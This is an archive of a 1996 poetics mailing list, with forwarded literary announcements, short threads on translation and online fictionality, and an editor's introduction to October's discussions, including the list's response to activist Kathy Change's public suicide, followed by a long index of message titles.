Tony Green,
e-mail: [redacted]

↑ Index

594. **Mark Roberts**
(FWD) AWOL: HECATE magazine's special offer
Sun 29 Sep 1996

>Date: Mon, 30 Sep 1996 06:14:32 +1000
>To: [redacted]
>From: [redacted] (awol)
>Subject: AWOL: HECATE magazine's special offer
>
>The following information has been posted by AWOL on behalf of
>HECATE magazine. Please address any inquiries to the editor at the
>contacts listed below.
>
>**********
>
>
>Hecate: A Women's Interdisciplinary Journal, now in its 22nd year of
>publication, offers perspectives on the situation of women in Australia
>with a particular emphasis on issues of class, race, sexuality and gender.
>The latest issue (22.1) includes The Image of the Backyard Abortionist in
>Pro-abortion Politics; Abortion and Class in Australian Women's Novels;

>`Non-political' Lesbian Organisation in Melbourne; Whatever Happened to
>Feminist SF; Hetty Wietzel; Aboriginal Domestic Servants in Queensland and
>Creative writing.
>
>
>Subscriptions: Aust$20 Individual
> Aust$60 Institutional
>
>For a sample copy, send Aust $5.
>Hecate
>PO Box 99
>St Lucia Q4072
>Australia.
>
>Editor:
>Associate Professor Carole Ferrier
>Department of English
>The University of Queensland
>St Lucia, QLD 4072
>Australia.
>
>Email: [redacted]
>
>
>
>
>
>
>**********
>
>
>AWOL
>Australian Writing On Line
>[redacted]
>http://www.ozemail.com.au/~awol
>PO Box 333 Concord NSW 2137 Australia
>Phone 61 2 7475667, Mobile 015063970
>Fax 61 2 7472802
>
>
>
>

Mark Roberts
Student Systems Project Officer
& User Representive SIS Team.
Information Systems
University of Sydney NSW 2006 Australia
Ph. (02) 93517710
Mobile 015063970
Fax (02) 93517711

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595. **Mark Roberts**

(Fwd) AWOL: Launch of HOW TO CONCEIVE OF A GIRL

Sun 29 Sep 1996

>Date: Mon, 30 Sep 1996 06:26:20 +1000
>To: [redacted]
>From: [redacted] (awol)
>Subject: AWOL: Launch of HOW TO CONCEIVE OF A GIRL
>
>The following information has been posted by AWOL on behalf of Randon
>House/Vintage publishers and author Beth Spencer. Please address any
>enquiries to the publisher or author at the contacts listed below.
>
>**********
>
> You are invited to celebrate the launch of
> HOW TO CONCEIVE OF A GIRL,
> stories and novellas by Beth Spencer,
> published by Vintage Australia.
>
> Sydney
> Soho Bar, upstairs, Picadilly Hotel, 171 Victoria Street, Kings Cross
> Wednesday 2nd October, 6.30 for 7 pm
> launched by Anna Gibbs
>
> Blue Mountains
> Varuna Writers Centre, 141 Cascade Street, Katoomba
> Saturday 12th October, 2 pm
> launched by Tom Flood
>
> Melbourne
> The International Lounge Bar, 1st floor, 18-24 Market Lane, Melbourne

>(off Bourke Street, between Russell & Exhibition Streets)
> Wednesday 16th October, 6.30 for 7pm
> (MC to be confirmed)
>
>Enquires: contact Tracey Carr
>at Random House Australia on (02) 9954 9966
>or email: [redacted]
>
>
>
>
>**********
>
>
>AWOL
>Australian Writing On Line
>[redacted]
>http://www.ozemail.com.au/~awol
>PO Box 333 Concord NSW 2137 Australia
>Phone 61 2 7475667, Mobile 015063970
>Fax 61 2 7472802
>
>
>
>
Mark Roberts
Student Systems Project Officer
& User Representive SIS Team.
Information Systems
University of Sydney NSW 2006 Australia
Ph. (02) 93517710
Mobile 015063970
Fax (02) 93517711

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596. Kenneth Goldsmith
Marjorie Perloff Homepage Update
Sun 29 Sep 1996

Author and critic Marjorie Perloff's Author's Page at The Electronic Poetry Center has been updated:

http://www.buffalo.edu/epc/authors/perloff

Several papers will be of interest to members of this group:

*Wittgenstein's Ladder: Poetic Language and the Strangeness of the Ordinary (1996)

*Introductory Chapter to Wittgenstein's Ladder (1996)

*Whose New American Poetry?: Anthologizing in the Nineties

*Barbed-Wire Entanglements: The New American Poetry 1930-32

*What Has Occured Only Once: Barthes's Winter Garden / Boltanski's Archives

*The Music of Verbal Space: John Cage's "What You Say"

*John Cage's Dublin, Lyn Hejinian's Leningrad: Poetic Cities as Cyberspaces

*What We Don't Talk About When We Talk About Poetry: Some Aporias of Literary Journalism

*Parker Tyler: Late Late Modern

*Postmodernism / Fin de Siecle:The Prospects for Openness in a Decade of Closure

*Sentence, not Sentence

*Poetry 1956: A Step Away From Them

*Tolerance and Taboo: Modernist Primitivisms and Postmodernist Pieties

*Modernism without the Modernists: A Response to Walter Benn Michaels

*Something is Happening Mr. Jones

*Discussing Ezra Pound

========== Kenneth Goldsmith
work: http://www.ubuweb.com [redacted] play:
http://wfmu.org/~kennyg [redacted]

↑ Index

597. George Bowering
Re: the bleeding edge
Mon 30 Sep 1996

Hey, was that a real letter from Tony Green, discussing the fictionality of stories on the net? Or was it a construction?

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

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598. **Pritchett,Pat**
Re: Quick Query
Mon 30 Sep 1996

No exact translation, but: a curandera is a "medicine woman," or someone who cures the ill.

Patrick Pritchett

From: wheeler
To: Multiple recipients of list POETICS
Subject: Quick Query
Date: Monday, September 30, 1996 8:20AM

Sorry to ask all, but anyone handy this evening who can translate "la curandera"? Many thanks.

Susan Wheeler

↑ Index

599. **Mary Hilton**
Announcement: Political Diction
Mon 30 Sep 1996

Just in time for the debates, "Political Diction, Issue 1996" is now available. A multi-partisan magazine distributed each election year, PD deals with issues involving the electoral process, politics, our government, and most specifically the election year 1996.

Contributors are Joe Amato, Charles Bernstein, Elizabeth Burns, Craig Czury, Buck Downs, H. Kassia Fleisher, Jefferson Hansen, Andrew Levy, Rod Smith and Mark Wallace. Their work is humorous, demanding, intelligent and an excellent commentary on the state of the campaigns.

Cost is $2.00. All checks may be made payable to Mary Hilton and mailed to:

Political Diction
c/o Mary Hilton

1706 U Street, NW, #102
Washington, DC 20009

Thank you!

↑ Index

600. **Jordan Davis**
the way of all languages
Mon 30 Sep 1996

---

would that poetry were anti-discourse?
so what is it, para-discourse? a way into all languages?
what is it with that Seinfeld guy?

J

↑ Index

601. **Laura Moriarty**
Re: Quick Query
Mon 30 Sep 1996

La curandera means the healer, in this case female.

> *Sorry to ask all, but anyone handy this evening who can translate "la curandera"? Many thanks.*
>
> *Susan Wheeler*

↑ Index

602. **Tony Green**
Re: the bleeding edge
Mon 30 Sep 1996

"Hey" ""George Bowering"" or "whatever" is "out there",("where?"), uncertainty as to what or who makes the stuff appear on screen gets to "people" ok. Why else did Eliza ask the list to serve up bra sizes?

How does
anyone
ever
know when anyone is "making things up"? There's a central
poetics question, "I" suppose. Good day or good night to "you".
best

Tony Green,
e-mail: [redacted]

↑ Index

603. **Tony Green**
Re: the way of all languages
Mon 30 Sep 1996

Why do you mention Seinfeld, Jordan, in the context of yr question? some episode you've seen recently? perhaps not yet onsold to other parts of the globe? or just some general sense of the show? best

Tony Green,
e-mail: [redacted]

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604. **wheeler**
Thanks
Mon 30 Sep 1996

Many thanks to all those who took a moment to answer my quick query either above or below ground (sorry, can't stand the net lingo). It was immensely helpful.

Susan Wheeler

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605. **george hartley**
Re: Quick Query
Mon 30 Sep 1996

If you mean the phrase itself (that is, you are not referring to a work by that title), it means (I believe) something like medicine woman, an herbalist and healer, with a sort of magical touch.

--George

> *La curandera means the healer, in this case female.*
>
> *Sorry to ask all, but anyone handy this evening who can translate "la curandera"? Many thanks.*
>
> *Susan Wheeler*

↑ Index

606. Jordan Davis
Re: the way of all languages
Mon 30 Sep 1996

I mean yada yada yada yada!
Lap up the joy! the situationism's
gerting stronger lately. When I fight
authority, authority always wins.
And you know, 'senses of responsibility'

to keep awake, Julius Caesar carried
a box of

↑ Index

607. Eliza McGrand- CVA Guest
post-constructionism and lingerie
Mon 30 Sep 1996

all right. i admit it. i was seduced by a new zealand entrepreneur who, reading in numerous postings of the alleged fascination with various articles of intimate apparel professed by participants in this mutual endeavour (or, if we are to be lockeian, isolated beings who are persuaded by the mere evidence of their self-mediated perceptions of senses that they participate in what only their senses inform them are mutual endeavours among conjectured others), thought that if he had the inside skinny (or not skinny, as the case may be) on personal clothing telemetry for various unnamed members of list, a killing in direct, _targetted_, marketing might be made.

perhaps it was an error in judgement on my part, but the benefices offered to the literary are notoriously scant, whilst the expenditure of the avant garde on intimate habillement is notoriously bloated, thus i made certainly understandable, if poorly disguised, efforts to augment my income with what was promised to be a generous percentage. of the swag.

unfortunately, the aforesaid new zealand entrepreneur has refused to fork over; some people were, evidently, brought up to disregard the promises of the evening. one might wish the undertakings of certain pan-oceanics were writ on more than the wind, but as the man said, a verbal contract is not worth [so it appears] the paper it is printed on...

it might be considered some bolstering (albeit scant) of the rumors of actual meat people engaged in parlance (as opposed to literary, fictional, and/or conspirational constructs) if measurements had been produced together with whimsical and incrementally internally consistent idiosyncratic response, but

the skeptics may consider this merely accidental or experimenter-introduced artifact and go off muttering about monkeys and typewriters....

e

↑ Index

608. **Bob Holman**

Re: POETICS Digest - 28 Sep 1996 to 29 Sep 1996

Mon 30 Sep 1996

La Curandera -- healer, "curer," esp. with organics. Can be associated with spells. Can be associated with Santeria.

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@poetics

The UB Poetics Discussion Group

Archive of Electronic Correspondence

October 1996

698 messages · Tue 1 Oct 1996 – Thu 31 Oct 1996

On the third of October the Swedish Academy gave the Nobel Prize in Literature to Wisława Szymborska, and for once the list engaged the news wholeheartedly: some thirty letters on the prize, the Academy, Heaney three years earlier, what a Nobel is for and whether it can be for a poet at all. October was the month the room thought about readership from every side it had. It thought about it more thoroughly than any month that year. And on the twenty-second, at half past ten in the morning, three thousand miles from most of the people writing, a woman who wanted very much to be read set herself alight.

Before that, two arguments, and both of them are about her without knowing it. The first was Dodie Bellamy's. Still teaching, still playing the subject supposed to know, she posted a poem from another listserv that struck her as a perfect example of bad student poetry, and asked the room a real question: when something wholly wrong-headed and wholly sincere is put in front of you, and your mind goes blank, and you cannot simply grunt out don't do this anymore — what do you say *"as a way to begin a dialogue?"* Twenty-eight letters tried to answer her. It is one of the kindest threads in the archive.

The second was the old one. Fifty-odd letters ran under politics & poetry and its variants, set off by the Perloff–Warsh exchange in Talisman and by Eliot Weinberger's charge that the Language poets were *"Reagen-era capitalist dupes"* for unhinging words from history much as Reagan had. Perloff's line that *"The personal is the political"* was quoted at the room and the room took it apart. Can a poem do political work; is a poetics a politics; what would it even look like if it were. The thread was still running on the twenty-second.

Kathy Change was forty-six. She had changed her name from Chang to mean it. For fifteen years she had danced and carried flags on the University of Pennsylvania campus, arguing that America must be remade into something actually democratic, and almost nobody had listened. Two hours before she died she *"delivered packages of her writings to six students"* and two residents of the neighbourhood. Her statement, dated the seventh, said her real intention was to spark a discussion of how the world might be peacefully transformed, and that she offered herself as *"an alarm against Armageddon and a torch for liberty"*. She died within the half-hour. Louis Cabri, a poet in the English department there, forwarded the wire report to the list the next afternoon.

What followed is four days long and I have not touched a line of it. Pat Pritchett said, honestly, *“I don’t see the point of Ms. Change’s actions”*, never having heard of her. Steve Shoemaker posted a sentence of Williams — *“The perfect type of the man of action”* is the suicide — and the room turned to it with relief and did not turn back. Jennifer-Alan found the Williams *“It’s also incoherent and ugly”* and offered to deconstruct man, action, perfect and type; maria damon noted the words were Nietzsche’s; henry gould and George Bowering finished on Hemingway and touché. Nobody opened the packages. I have set the sincerity thread, the politics thread and the twenty-second where October put them, because this is the month a room spent four weeks asking how to answer sincerity and whether a poem can be political, and then a sincere political writer handed her writing to six strangers and died to make somebody read it, and the room discussed a quotation.

— Kristen M. Fabians

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76. Anselm Hollo — Szymborska/Heaney/Nobels
77. Simon or Chris — nobel prize
78. alan sondheim — Re: Messerli returing to Szymbroska
79. alan sondheim — Re: Szymborska/Heaney/Nobels
80. George Bowering — Re: Giscombe/Fugitive
81. George Bowering — Re: Giscombe/Fugitive
82. Thomas Bell — Re: poetry and play
83. Joe Amato — Re: Szymborska/Heaney/Nobels
84. Jordan Davis — Frost's audience
85. Yunte Huang — Re: nobel prize
86. Douglas Barbour — Re: POETICS Digest - 3 Oct 1996 to 4 Oct 1996
87. Douglas Barbour — Re: POETICS Digest - 4 Oct 1996 to 5 Oct 1996
88. Douglas Messerli — Re: Messerli returing to Szymbroska
89. Lisa Jarnot — Ear Inn Series
90. Rod Smith — Re: Szymborska/Heaney/Nobels
91. Kevin Killian — Re: Szymborska/Heaney/Nobels
92. Rod Smith — new B City
93. Kevin Killian — Hope you all can come to my play
94. Gabrielle Welford — Re: Heidsieck before Heaney
95. Thomas Bell — Re: poetry and play

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96. alan sondheim — terrible true account of the origin of the text

97. John Cayley — Reality Street Editions Web Site
98. John Cayley — Many Press Web Site
99. John Cayley — Ig-nobel
100. John Cayley — New Books from the Many Press
101. Kevin Killian — Re: Szymborska/Heaney/Nobels
102. Kevin Killian — Re: Giscombe/Fugitive
103. Ron Silliman — SOME OTHER KIND OF MISSION
104. henry — Re: Messerli returing to Szymbroska
105. Robert Drake — forward: New Orleans Rev. call for work
106. Bob Holman — Re: POETICS Digest - 5 Oct 1996 to 6 Oct 1996
107. Daniel Bouchard — Re: Giscombe/Fugitive
108. Edward Foster — Re: LANSING!!! PETTET!!!
109. Joe Amato — Re: Szymborska/Heaney/Nobels
110. Charles Smith — found
111. Burt Kimmelman — Hank Lazer
112. maria damon — Re: Szymborska/Heaney/Nobels
113. maria damon — Re: found
114. Beth Simon — Re: Szymborska/Heaney/Nobels
115. Beth Simon — Re: Heidsieck before Heaney
116. Jordan Davis — Concentration
117. Joe Amato — Re: Concentration
118. Jordan Davis — Re: Concentration
119. Henry Gould — Re: Concentration
120. Libbie Rifkin — Berrigan cites
121. henry g — Re: Concentration
122. Michael Coffey — Re: POETICS Digest - 5 Oct 1996 to 6 Oct 1996 -Reply
123. kaona — Re: Englishes/Latins
124. Tony Green — Englishes/Latins
125. Michael Coffey — Re: Concentration -Reply
126. Steve Shoemaker — Re: Szymborska/Heaney/Nobels
127. Gary Roberts — polkas, gigues, and slams
128. David Kellogg — Re: polkas, gigues, and slams
129. Tony Green — Re: Englishes/Latins
130. Pritchett,Pat — Re: polkas, gigues, and slams
131. Andrew D Epstein — Re: Berrigan cites
132. maria damon — Re: Berrigan cites
133. wystan — Szymborska
134. william marsh — Dora Marsden
135. Susan Schultz — Re: Englishes/Latins
136. Gary Roberts — yet more Nobel

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137. Rod Smith — Re: Concentration -Reply
138. George Bowering — Re: Messerli returing to Szymbroska
139. George Bowering — Re: nobel prize
140. Tom Beard — New journal - CURRENT
141. Wendy McClure — Anyone up for picking on BAP?
142. Kevin Killian — Re: Marjorie Perloff
143. David W. Clippinger — Marjorie Perloff
144. henry gould — Re: polkas, gigues, and slams
145. Michael Boughn — Re: Dora Marsden
146. maria damon — Re: Englishes/Latins
147. Simon or Chris — poil buck
148. Michael Boughn — Re: Concentration
149. henry — Re: Concentration
150. Sylvester Pollet — WCW vs. The Sonnet

151. henry gould — Re: WCW vs. The Sonnet
152. Joe Amato — nobels, the Good, here we go...
153. Fred Muratori — WCW on the Sonnet
154. Charles Bernstein — Creeley Festival
155. Steve Shoemaker — Re: Dora Marsden
156. maria damon — Re: Concentration
157. Jeff Hansen — what's a good poem
158. Pritchett,Pat — Re: yet more Nobel
159. Michael Boughn — Re: Concentration
160. Jordan Davis — reconstruction
161. henry — Re: reconstruction
162. Herb Levy — Re: Concentration
163. Joseph Lease — Re: reconstruction
164. Joseph Lease — Re: reconstruction
165. Joseph Lease — Re: reconstruction
166. Jordan Davis — Re: reconstruction
167. henry — Re: reconstruction
168. Jordan Davis — homage to Ed Foster
169. Poetics List — Call for Papers (fwd)
170. Charles Smith — Awards
171. Peter Quartermain — (Sort of) end of silence
172. George Bowering — Re: (Sort of) end of silence
173. Peter Quartermain — Re: Dora Marsden
174. Peter Quartermain — Re: (Sort of) end of silence

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175. DS — Re: Englishes/Latins
176. Herb Levy — Re: Szymborska/Heaney/Nobels
177. Ron Silliman — The meaning of Time/Life
178. Rachel Loden — Re: Szymborska/Heaney/Nobels
179. maria damon — Re: The meaning of Time/Life
180. maria damon — Re: Englishes/Latins
181. Steven Clay — The Book, Spiritual Instrument / The Word Made Flesh
182. Susan Schultz — Re: Englishes/Latins
183. Bill Luoma — noble
184. Gabrielle Welford — Re: (Sort of) end of silence
185. Gabrielle Welford — "Death in a Landslide" in New York this week (fwd)
186. william marsh — Re: what's a good poem
187. Herb Levy — Re: nobels, the Good, here we go...
188. Herb Levy — Re: nobels, the Good, here we go...
189. Jordan Davis — chops and steaks (the atmosphere of jokes)
190. Jerry Rothenberg — (no subject)
191. MICKIE E. KENNEDY — Re: nobels, the Good, here we go...
192. Carnography — That's Blaxdhhhhhhxqtploitation!
193. Joe Amato — Re: nobels, the Good, here we go...
194. DS — Re: Englishes/Latins
195. Michael Boughn — Re: Englishes/Latins
196. Tony Green — Re: Englishes/Latins
197. Matt Kirschenbaum — FYI: MLA Resolution (fwd)
198. Tony Green — Re: Englishes/Latins
199. Tony Green — Re: Creeley Festival
200. Nada Gordon — weightlifting
201. Robert Drake — afterwords website [forward]

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202. Mark Roberts — AWOL: New magazine releases (forwarded)
203. Ron Silliman — The Weight

204. Douglas Barbour — Re: POETICS Digest - 7 Oct 1996 to 8 Oct 1996
205. maria damon — Re: The Weight
206. Judy Roitman — Ron Johnson
207. Rachel Loden — Re: weightlifting
208. Pritchett,Pat — Re: That's Blaxdhhhhhhxqtploitation!
209. Wendy Battin — Re: POETICS Digest - 7 Oct 1996 to 8 Oct 1996
210. Gary Roberts — watteau
211. Pierre Joris — [Fwd: Electronic Music Foundation Update]
212. Pierre Joris — Re: Ron Johnson
213. Bill Luoma — chat net
214. Ward Tietz — Re: The Weight
215. Stephen Cope — Re: Ron Johnson
216. George Bowering — Re: (Sort of) end of silence
217. Joel Felix — Re: Ron Johnson
218. Pritchett,Pat — Re: Ron Johnson
219. Brian McHale — Re: Ron Johnson
220. Gwyn McVay — Re: Ron Johnson/rumors
221. Tony Green — Re: watteau
222. Marisa Januzzi — Re: Ron Johnson/Dora Marsden
223. maria damon — Jay and Kay deFeo
224. Rachel Loden — assorted indignities

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225. Stephen Cope — Re: Ron Johnson
226. Jordan Davis — Bouchard 8, Mills 9
227. Keith Tuma — Re: Ron Johnson
228. Douglas Barbour — Re: POETICS Digest - 9 Oct 1996 to 10 Oct 1996
229. Douglas Barbour — Re: POETICS Digest - 9 Oct 1996 to 10 Oct 1996
230. Tod Thilleman — Re: chat net
231. Andrew D Epstein — Re: Ron Johnson
232. Carnography — Re: That's Blaxdhhhhhhxqtploitation!
233. alan sondheim — ....liam dedrawroF (dwf)
234. Steve Shoemaker — Re: noble
235. Steve Evans — How To Not Read
236. George Bowering — Re: Ron Johnson/rumors
237. maria damon — Re: How To Not Read
238. robert zamsky — Minnesota
239. Wendy Battin — Re: POETICS Digest - 9 Oct 1996 to 10 Oct 1996

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240. DS — Re: POETICS Digest - 9 Oct 1996 to 10 Oct 1996
241. John Cayley — Visible Language: New Media Poetry
242. Kevin Killian — Re: Jay and Kay deFeo
243. maria damon — Re: Minnesota
244. Kevin Killian — Ronald Johnson
245. Loss Glazier — Creeley at 70 in Buffalo
246. Joe Amato — Re: How To Not Read
247. Douglas Barbour — Re: POETICS Digest - 10 Oct 1996 to 11 Oct 1996
248. Pritchett,Pat — Re: Ron Johnson
249. Jeremy F Green — Re: How To Not Read
250. maria damon — Re: Jay and Kay deFeo
251. Kevin Killian — Steve Carll reading
252. Lisa Jarnot — Ear Inn Update
253. Eryque Gleason — Re: Ear Inn Update

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254. George Bowering — Re: Creeley at 70 in Buffalo

255. Ken Edwards — How To Not Read
256. Loss Glazier — Re: Creeley at 70 in Buffalo - Part II
257. Herb Levy — Re: nobels, the Good, here we go...
258. James Brook — San Francisco library scandals
259. George Bowering — Re: Creeley at 70 in Buffalo - Part II
260. Dan Raphael Dlugonski — Molecular Jam
261. Beth Simon — _Out Of Nowhere, The Body's Shape_
262. Joe Amato — lentricchia...
263. Charles Bernstein — Conductors of Chaos
264. Rick Bursky — Thirty pound sacks: poem
265. Tony Green — Re: Creeley at 70 in Buffalo - Part II
266. Kali Tal — Re: lentricchia...
267. Maria Damon (Maria Damon) — Re: student sincerity

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268. Dan Raphael Dlugonski — post-electronic jam
269. John Kinsella — Re: POETICS Digest - 12 Oct 1996 to 13 Oct 1996
270. Kevin Killian — Robertson & Moure rock SPT
271. Kevin Killian — student sincerity
272. Kevin Killian — Re: student sincerity
273. Kevin Killian — Re: student sincerity
274. Mark Wallace — Steve Evans
275. Keith Tuma — Re: Conductors of Chaos
276. Pierre Joris — Re: Conductors of Chaos
277. Bill Luoma — your review
278. MAXINE CHERNOFF — Re: Conductors of Chaos
279. Kevin Killian — Re: student sincerity
280. Don Cheney — Re: student sincerity
281. Lisa Jarnot — fall ear inn readings
282. alan clara sondheim — blushes, ecology (fwd)
283. Jordan Davis — Re: student sincerity
284. Pritchett,Pat — Re: student sincerity
285. Kevin Killian — Re: student sincerity
286. Tony Green — Re: student sincerity
287. Pritchett,Pat — Re: student sincerity
288. maria damon — Re: student sincerity
289. alan clara sondheim — Re: student sincerity
290. Charles Smith — Fwd: Conquering the World with Type
291. Pritchett,Pat — Re: student sincerity
292. Gabrielle Welford — Help us publicize this as much as possible (fwd)
293. alan clara sondheim — Re: student sincerity
294. Stephen Vincent — Reading
295. alan clara sondheim — Re: student sincerity
296. Mark Roberts — Re: student sincerity

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297. Bill Luoma — Trip Report
298. DS — Re: student sincerity
299. cris cheek — Sound & Language event
300. maria damon — Re: Trip Report
301. Mark Roberts — Re: student sincerity
302. Peter Zukowski — Private's Coming Out
303. Jordan Davis — ye olde music thread
304. Pritchett,Pat — Re: student sincerity
305. Christina Fairbank Chirot — Kerouac,bpNichol & listening
306. Ira Lightman — Re: How To Not Read
307. Henry Gould — another reading in RI

308. alan clara sondheim — Re: student sincerity
309. Dan Machlin — Reading: Charles Bernstein & John Kinsella
310. Aldon L. Nielsen — Re: return of the repressed (fwd)
311. Dan Machlin — Re: Invasion of the reading reminders
312. George Bowering — Re: student sincerity
313. George Bowering — Re: Kerouac,bpNichol & listening
314. Herb Levy — New Music Web tour
315. Jordan Davis — Re: return of the repressed (fwd)
316. Pam Brown — Songs
317. Jeremy F Green — Re: return of the repressed (fwd)
318. Jeremy F Green — Re: How To Not Read
319. Gabrielle Welford — Actions on Doshi-Hussain Gufa (Press Release) (fwd)
320. Mark Roberts — Re: ye olde music thread
321. Mark Roberts — Re: student sincerity
322. Mark Roberts — Re: Songs
323. Jordan Davis — Tim Davis / Juliana Spahr @ Poetry City
324. Steve Carll — Hey Natalie Merchant
325. Aldon L. Nielsen — Re: repressing the returned
326. Jordan Davis — chaos
327. Keith Tuma — Re: How To Not Read
328. Aldon L. Nielsen — Re: the other thing I'd never thought to see here

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329. Herb Levy — Re: ye olde music thread
330. Mark Roberts — Re: ye olde music thread
331. Rachel Loden — Arshile 6
332. Kevin Killian — Ronald Johnson sighting
333. Jordan Davis — Hit Lyrics
334. Mark Wallace — Keith Tuma and "chest thumping"
335. Joe Amato — Re: How To Not Read
336. Mark Wallace — Situation #13
337. Henry — Re: Keith Tuma and "chest thumping"
338. Tom Mandel — exinclusio
339. Rachel Loden — editor/Arshile
340. Sherry Brennan — nick cave
341. Keith Tuma — Re: Keith Tuma and "chest thumping"
342. Charles Smith — Re: Ronald Johnson
343. Christina Fairbank Chirot — Re: exinclusi & listening
344. Peter Larkin — Conductors of Chaos
345. Aldon L. Nielsen — Re: Crossing Jordan
346. Jordan Davis — spirits rejoice
347. cris cheek — Re: How To Not Read
348. Gabrielle Welford — Menocal, Shards of Love (fwd)
349. James Sherry — ROOF BOOKS SPECIAL OFFER
350. James Sherry — ROOF BOOK OFFER
351. Loss Glazier — Flash: Creeley Update
352. Marisa Januzzi — Re: Ronald Johnson
353. Charles Smith — Re: Ronald Johnson
354. AARON SHURIN — Re: Ronald Johnson

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355. robert zamsky — Re: Minnesota
356. Jeremy F Green — Re: Keith Tuma and "chest thumping"
357. Mark Wallace — What experimental poets do to the mainstream
358. Henry Gould — Re: What experimental poets do to the mainstream
359. David Kellogg — Re: What experimental poets do to the mainstream
360. DS — Re: What experimental poets do to the mainstream

361. Rod Smith — Re: What experimental poets do to the mainstream
362. Aldon L. Nielsen — Re: What experimental poets do to the mainstream
363. Aldon L. Nielsen — Re: Corporate Post-Impressionism
364. Steve Carll — defender of pop
365. { brad brace } — Expunged Titles for 1996
366. Pritchett,Pat — Re: grazie
367. Steve Carll — song or poem?
368. Tom Beard — Re: What experimental poets do to the mainstream
369. Kevin Killian — Ronald Johnson, Jorie Graham
370. Kevin Killian — Re: defensiveness as prop?
371. Steve Evans — Re: How To Not Read
372. Pete Landers — Re: What experimental poets do to the mainstream
373. George Bowering — Re: defender of pop
374. Eryque Gleason — primi too taa
375. Keith Tuma — Re: What experimental poets do to the mainstream

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376. Rod Smith — Re: defender of pop
377. Thomas Bell — Re: What experimental poets do to the mainstream
378. Carnography — Re: defensiveness as prop?
379. cris cheek — Re: What's experimental and totally predictable?
380. cris cheek — Re: "chest thumping" and the uncalled for
381. cris cheek — apologia
382. Ron Silliman — The Times (Lit Sup) are a-changing....
383. Henry — Re: What experimental poets do to the mainstream
384. Tom Mandel — all over the map
385. Jordan Davis — Welcome to the Windhover
386. Loss Glazier — UK Readings
387. Gwyn McVay — Re: defensiveness as prop?
388. maria damon — Re: defender of pop
389. Jordan Davis — Re: defensiveness as prop?
390. Gabrielle Welford — testy response (fwd)
391. Gabrielle Welford — AZI KAMBULE UPDATE (fwd)
392. Keith Tuma — Re: "chest thumping" and the uncalled for
393. Joe Amato — public relations & poetry...
394. Ira Lightman — Re: How To Not Read
395. Ira Lightman — How To Not Read & a political abstraction
396. Rod Smith — Re: How to Not Read
397. Henry G — Re: public relations & poetry...
398. Steve Carll — Re: POETICS Digest - 16 Oct 1996 to 17 Oct 1996
399. wheeler — Re: POETICS Digest - 16 Oct 1996 to 17 Oct 1996
400. Aldon L. Nielsen — Re: Where are the ag readings of yesteryear
401. George Bowering — Re: POETICS Digest - 16 Oct 1996 to 17 Oct 1996
402. George Bowering — Re: defensiveness as prop?
403. George Bowering — Re: POETICS Digest - 16 Oct 1996 to 17 Oct 1996
404. Aldon L. Nielsen — Re: What experimental poets do to the mainstream (fwd)
405. Aldon L. Nielsen — Re: Corporate Post-Impressionism (fwd)

19 OCT 1996

406. Tom Malone — Helmut Heissenb|ttel
407. Pierre Joris — Re: Helmut Heissenb|ttel
408. Steve Carll — Eclecticism: Snap Crackle AND pop

20 OCT 1996

409. Anselm Hollo — Re: Heissenbuttel encore
410. Lisa Jarnot — Ear Inn Update
411. Matt Kirschenbaum — Darick Chamberlain

412. Pierre Joris — [Fwd: South Africa International Book Drive]
413. Tony Green — Re: What experimental poets do to the mainstream
414. Tom Beard — Re: What experimental poets do to the mainstream
415. Thomas M. Orange — defensiveness as prop?
416. Thomas Bell — Marginalized?
417. Thomas Bell — Re: Situation #13

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418. Thomas Bell — Re: What experimental poets do to the mainstream
419. Louis Cabri — Re: Corporate Post-Impressionism (fwd)
420. Louis Cabri — Re: primi too taa
421. James Brook — SF library controvery - media sources
422. Michael Boughn — Re: What experimental poets do to the mainstream
423. henry gould — Re: Marginalized?
424. maria damon — Re: defensiveness as prop?
425. maria damon — Re: Marginalized?
426. Pierre Joris — Human Rights Watch
427. henry — Re: Meeting the poet through the poem
428. Mark Wallace — close readings
429. Eryque Gleason — Re: primi too taa
430. Jordan Davis — Spahr (long work), Davis 19
431. Aldon L. Nielsen — Re: Being regarded as a dangerous experimentalist"
432. Rod Smith — Re: Marginalized?
433. Keith Tuma — Re: close readings
434. henry g — Re: Marginalized?
435. Ira Lightman — Meeting the poet through the poem
436. John Cayley — defensiveness as prop?
437. Tosh Berman — Re: defensiveness as prop?
438. Mary Hilton — "Lead, Glass and Poppy" by Kristin Prevallet
439. Bill Luoma — Ichor
440. Aldon L. Nielsen — Re: My Ship Is Coming In
441. Tony Green — Re: Marginalized?

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442. George Bowering — Re: My Ship Is Coming In
443. Ron Silliman — What is a library?
444. Jordan Davis — A Parade of Theories
445. Peter Zukowski — Poetry reading in Chicago
446. Tosh Berman — Re: My Ship Is Coming In
447. Steve Shoemaker — Re: close readings
448. Henry G — Re: A Parade of Theories
449. Keith Tuma — mountain goats
450. John Geraets — Experimental marginalized
451. Aldon L. Nielsen — Re: I'm a Roadrunner, baby
452. Issa Clubb — Re: mountain goats
453. Louis Cabri — Re: close readings
454. George Bowering — Re: What is a library?
455. Kenneth Goldsmith — Call for Papers (Internet)
456. Louis Cabri — michael moore
457. Jeffrey W. Timmons — Re: michael moore
458. maria damon — Re: michael moore
459. Steve Shoemaker — Re: close readings

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460. Kevin Killian — Re: defensiveness as prop?
461. Alan Honey Sondheim — (no subject)
462. Louis Cabri — Re: close readings

463. Tosh Berman — Re: defensiveness as prop?
464. Carnography — mountain goats et albini
465. Pierre Joris — Re: A Parade of Theories
466. Pritchett,Pat — Re: michael moore
467. Henry — Re: A Parade of Theories
468. Joe Amato — Re: michael moore
469. Herb Levy — Re: defensiveness as prop?
470. Herb Levy — Re: mountain goats et albini
471. Thomas Lecky — Qwerty Arts
472. Jordan Davis — british book disaster
473. Thomas Bell — Re: A Parade of Theories
474. henry g — Re: A Parade of Theories
475. Sherry Brennan — Re: Michael Moore
476. Louis Cabri — Kathy Change
477. Alan Honey Sondheim — Re: Michael Moore
478. Alan Honey Sondheim — last of 2
479. eric pape — Re: michael moore
480. DS — Re: michael moore
481. VPI R TremblayMcGaw — Open Studio: The Arts Online
482. Michael Coffey — Re: michael moore -Reply
483. Jeffrey W. Timmons — Re: michael moore
484. jfelix — Re: michael moore -Reply
485. Pritchett,Pat — Re: Kathy Change
486. Jeffrey W. Timmons — Re: michael moore -Reply
487. Joe Amato — michael moore...
488. Laura Moriarty — report on Whalen/McClure birthday event
489. Pam Brown — Re: british book disaster
490. Louis Cabri — olson & oratory

24 OCT 1996

491. Spencer Selby — mag list
492. henry g — Re: olson & oratory
